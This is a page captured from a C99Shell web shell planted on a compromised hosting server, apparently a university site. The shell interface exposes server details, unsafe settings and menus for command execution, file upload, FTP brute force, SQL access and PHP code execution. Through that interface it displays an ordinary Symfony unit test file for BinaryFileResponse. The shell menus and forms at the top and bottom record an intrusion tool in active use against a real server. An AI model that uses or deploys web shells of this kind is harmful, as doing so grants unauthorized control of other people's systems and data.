!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/symfony/http-foundation/Tests/   drwxr-xr-x
Free 116.86 GB of 200.55 GB (58.27%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     BinaryFileResponseTest.php (11.42 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\HttpFoundation\Tests;

use 
Symfony\Component\HttpFoundation\BinaryFileResponse;
use 
Symfony\Component\HttpFoundation\Request;
use 
Symfony\Component\HttpFoundation\ResponseHeaderBag;
use 
Symfony\Component\HttpFoundation\Tests\File\FakeFile;

class 
BinaryFileResponseTest extends ResponseTestCase
{
    public function 
testConstruction()
    {
        
$file __DIR__.'/../README.md';
        
$response = new BinaryFileResponse($file404, array('X-Header' => 'Foo'), truenulltruetrue);
        
$this->assertEquals(404$response->getStatusCode());
        
$this->assertEquals('Foo'$response->headers->get('X-Header'));
        
$this->assertTrue($response->headers->has('ETag'));
        
$this->assertTrue($response->headers->has('Last-Modified'));
        
$this->assertFalse($response->headers->has('Content-Disposition'));

        
$response BinaryFileResponse::create($file404, array(), trueResponseHeaderBag::DISPOSITION_INLINE);
        
$this->assertEquals(404$response->getStatusCode());
        
$this->assertFalse($response->headers->has('ETag'));
        
$this->assertEquals('inline; filename="README.md"'$response->headers->get('Content-Disposition'));
    }

    public function 
testConstructWithNonAsciiFilename()
    {
        
touch(sys_get_temp_dir().'/fööö.html');

        
$response = new BinaryFileResponse(sys_get_temp_dir().'/fööö.html'200, array(), true'attachment');

        @
unlink(sys_get_temp_dir().'/fööö.html');

        
$this->assertSame('fööö.html'$response->getFile()->getFilename());
    }

    
/**
     * @expectedException \LogicException
     */
    
public function testSetContent()
    {
        
$response = new BinaryFileResponse(__FILE__);
        
$response->setContent('foo');
    }

    public function 
testGetContent()
    {
        
$response = new BinaryFileResponse(__FILE__);
        
$this->assertFalse($response->getContent());
    }

    public function 
testSetContentDispositionGeneratesSafeFallbackFilename()
    {
        
$response = new BinaryFileResponse(__FILE__);
        
$response->setContentDisposition(ResponseHeaderBag::DISPOSITION_ATTACHMENT'föö.html');

        
$this->assertSame('attachment; filename="f__.html"; filename*=utf-8\'\'f%C3%B6%C3%B6.html'$response->headers->get('Content-Disposition'));
    }

    
/**
     * @dataProvider provideRanges
     */
    
public function testRequests($requestRange$offset$length$responseRange)
    {
        
$response BinaryFileResponse::create(__DIR__.'/File/Fixtures/test.gif'200, array('Content-Type' => 'application/octet-stream'))->setAutoEtag();

        
// do a request to get the ETag
        
$request Request::create('/');
        
$response->prepare($request);
        
$etag $response->headers->get('ETag');

        
// prepare a request for a range of the testing file
        
$request Request::create('/');
        
$request->headers->set('If-Range'$etag);
        
$request->headers->set('Range'$requestRange);

        
$file fopen(__DIR__.'/File/Fixtures/test.gif''r');
        
fseek($file$offset);
        
$data fread($file$length);
        
fclose($file);

        
$this->expectOutputString($data);
        
$response = clone $response;
        
$response->prepare($request);
        
$response->sendContent();

        
$this->assertEquals(206$response->getStatusCode());
        
$this->assertEquals($responseRange$response->headers->get('Content-Range'));
    }

    
/**
     * @dataProvider provideRanges
     */
    
public function testRequestsWithoutEtag($requestRange$offset$length$responseRange)
    {
        
$response BinaryFileResponse::create(__DIR__.'/File/Fixtures/test.gif'200, array('Content-Type' => 'application/octet-stream'));

        
// do a request to get the LastModified
        
$request Request::create('/');
        
$response->prepare($request);
        
$lastModified $response->headers->get('Last-Modified');

        
// prepare a request for a range of the testing file
        
$request Request::create('/');
        
$request->headers->set('If-Range'$lastModified);
        
$request->headers->set('Range'$requestRange);

        
$file fopen(__DIR__.'/File/Fixtures/test.gif''r');
        
fseek($file$offset);
        
$data fread($file$length);
        
fclose($file);

        
$this->expectOutputString($data);
        
$response = clone $response;
        
$response->prepare($request);
        
$response->sendContent();

        
$this->assertEquals(206$response->getStatusCode());
        
$this->assertEquals($responseRange$response->headers->get('Content-Range'));
    }

    public function 
provideRanges()
    {
        return array(
            array(
'bytes=1-4'14'bytes 1-4/35'),
            array(
'bytes=-5'305'bytes 30-34/35'),
            array(
'bytes=30-'305'bytes 30-34/35'),
            array(
'bytes=30-30'301'bytes 30-30/35'),
            array(
'bytes=30-34'305'bytes 30-34/35'),
        );
    }

    public function 
testRangeRequestsWithoutLastModifiedDate()
    {
        
// prevent auto last modified
        
$response BinaryFileResponse::create(__DIR__.'/File/Fixtures/test.gif'200, array('Content-Type' => 'application/octet-stream'), truenullfalsefalse);

        
// prepare a request for a range of the testing file
        
$request Request::create('/');
        
$request->headers->set('If-Range'date('D, d M Y H:i:s').' GMT');
        
$request->headers->set('Range''bytes=1-4');

        
$this->expectOutputString(file_get_contents(__DIR__.'/File/Fixtures/test.gif'));
        
$response = clone $response;
        
$response->prepare($request);
        
$response->sendContent();

        
$this->assertEquals(200$response->getStatusCode());
        
$this->assertNull($response->headers->get('Content-Range'));
    }

    
/**
     * @dataProvider provideFullFileRanges
     */
    
public function testFullFileRequests($requestRange)
    {
        
$response BinaryFileResponse::create(__DIR__.'/File/Fixtures/test.gif'200, array('Content-Type' => 'application/octet-stream'))->setAutoEtag();

        
// prepare a request for a range of the testing file
        
$request Request::create('/');
        
$request->headers->set('Range'$requestRange);

        
$file fopen(__DIR__.'/File/Fixtures/test.gif''r');
        
$data fread($file35);
        
fclose($file);

        
$this->expectOutputString($data);
        
$response = clone $response;
        
$response->prepare($request);
        
$response->sendContent();

        
$this->assertEquals(200$response->getStatusCode());
    }

    public function 
provideFullFileRanges()
    {
        return array(
            array(
'bytes=0-'),
            array(
'bytes=0-34'),
            array(
'bytes=-35'),
            
// Syntactical invalid range-request should also return the full resource
            
array('bytes=20-10'),
            array(
'bytes=50-40'),
        );
    }

    
/**
     * @dataProvider provideInvalidRanges
     */
    
public function testInvalidRequests($requestRange)
    {
        
$response BinaryFileResponse::create(__DIR__.'/File/Fixtures/test.gif'200, array('Content-Type' => 'application/octet-stream'))->setAutoEtag();

        
// prepare a request for a range of the testing file
        
$request Request::create('/');
        
$request->headers->set('Range'$requestRange);

        
$response = clone $response;
        
$response->prepare($request);
        
$response->sendContent();

        
$this->assertEquals(416$response->getStatusCode());
        
$this->assertEquals('bytes */35'$response->headers->get('Content-Range'));
    }

    public function 
provideInvalidRanges()
    {
        return array(
            array(
'bytes=-40'),
            array(
'bytes=30-40'),
        );
    }

    
/**
     * @dataProvider provideXSendfileFiles
     */
    
public function testXSendfile($file)
    {
        
$request Request::create('/');
        
$request->headers->set('X-Sendfile-Type''X-Sendfile');

        
BinaryFileResponse::trustXSendfileTypeHeader();
        
$response BinaryFileResponse::create($file200, array('Content-Type' => 'application/octet-stream'));
        
$response->prepare($request);

        
$this->expectOutputString('');
        
$response->sendContent();

        
$this->assertContains('README.md'$response->headers->get('X-Sendfile'));
    }

    public function 
provideXSendfileFiles()
    {
        return array(
            array(
__DIR__.'/../README.md'),
            array(
'file://'.__DIR__.'/../README.md'),
        );
    }

    
/**
     * @dataProvider getSampleXAccelMappings
     */
    
public function testXAccelMapping($realpath$mapping$virtual)
    {
        
$request Request::create('/');
        
$request->headers->set('X-Sendfile-Type''X-Accel-Redirect');
        
$request->headers->set('X-Accel-Mapping'$mapping);

        
$file = new FakeFile($realpath__DIR__.'/File/Fixtures/test');

        
BinaryFileResponse::trustXSendfileTypeHeader();
        
$response = new BinaryFileResponse($file200, array('Content-Type' => 'application/octet-stream'));
        
$reflection = new \ReflectionObject($response);
        
$property $reflection->getProperty('file');
        
$property->setAccessible(true);
        
$property->setValue($response$file);

        
$response->prepare($request);
        
$this->assertEquals($virtual$response->headers->get('X-Accel-Redirect'));
    }

    public function 
testDeleteFileAfterSend()
    {
        
$request Request::create('/');

        
$path __DIR__.'/File/Fixtures/to_delete';
        
touch($path);
        
$realPath realpath($path);
        
$this->assertFileExists($realPath);

        
$response = new BinaryFileResponse($realPath200, array('Content-Type' => 'application/octet-stream'));
        
$response->deleteFileAfterSend(true);

        
$response->prepare($request);
        
$response->sendContent();

        
$this->assertFileNotExists($path);
    }

    public function 
testAcceptRangeOnUnsafeMethods()
    {
        
$request Request::create('/''POST');
        
$response BinaryFileResponse::create(__DIR__.'/File/Fixtures/test.gif'200, array('Content-Type' => 'application/octet-stream'));
        
$response->prepare($request);

        
$this->assertEquals('none'$response->headers->get('Accept-Ranges'));
    }

    public function 
testAcceptRangeNotOverriden()
    {
        
$request Request::create('/''POST');
        
$response BinaryFileResponse::create(__DIR__.'/File/Fixtures/test.gif'200, array('Content-Type' => 'application/octet-stream'));
        
$response->headers->set('Accept-Ranges''foo');
        
$response->prepare($request);

        
$this->assertEquals('foo'$response->headers->get('Accept-Ranges'));
    }

    public function 
getSampleXAccelMappings()
    {
        return array(
            array(
'/var/www/var/www/files/foo.txt''/var/www/=/files/''/files/var/www/files/foo.txt'),
            array(
'/home/foo/bar.txt''/var/www/=/files/,/home/foo/=/baz/''/baz/bar.txt'),
        );
    }

    protected function 
provideResponse()
    {
        return new 
BinaryFileResponse(__DIR__.'/../README.md'200, array('Content-Type' => 'application/octet-stream'));
    }

    public static function 
tearDownAfterClass()
    {
        
$path __DIR__.'/../Fixtures/to_delete';
        if (
file_exists($path)) {
            @
unlink($path);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0259 ]--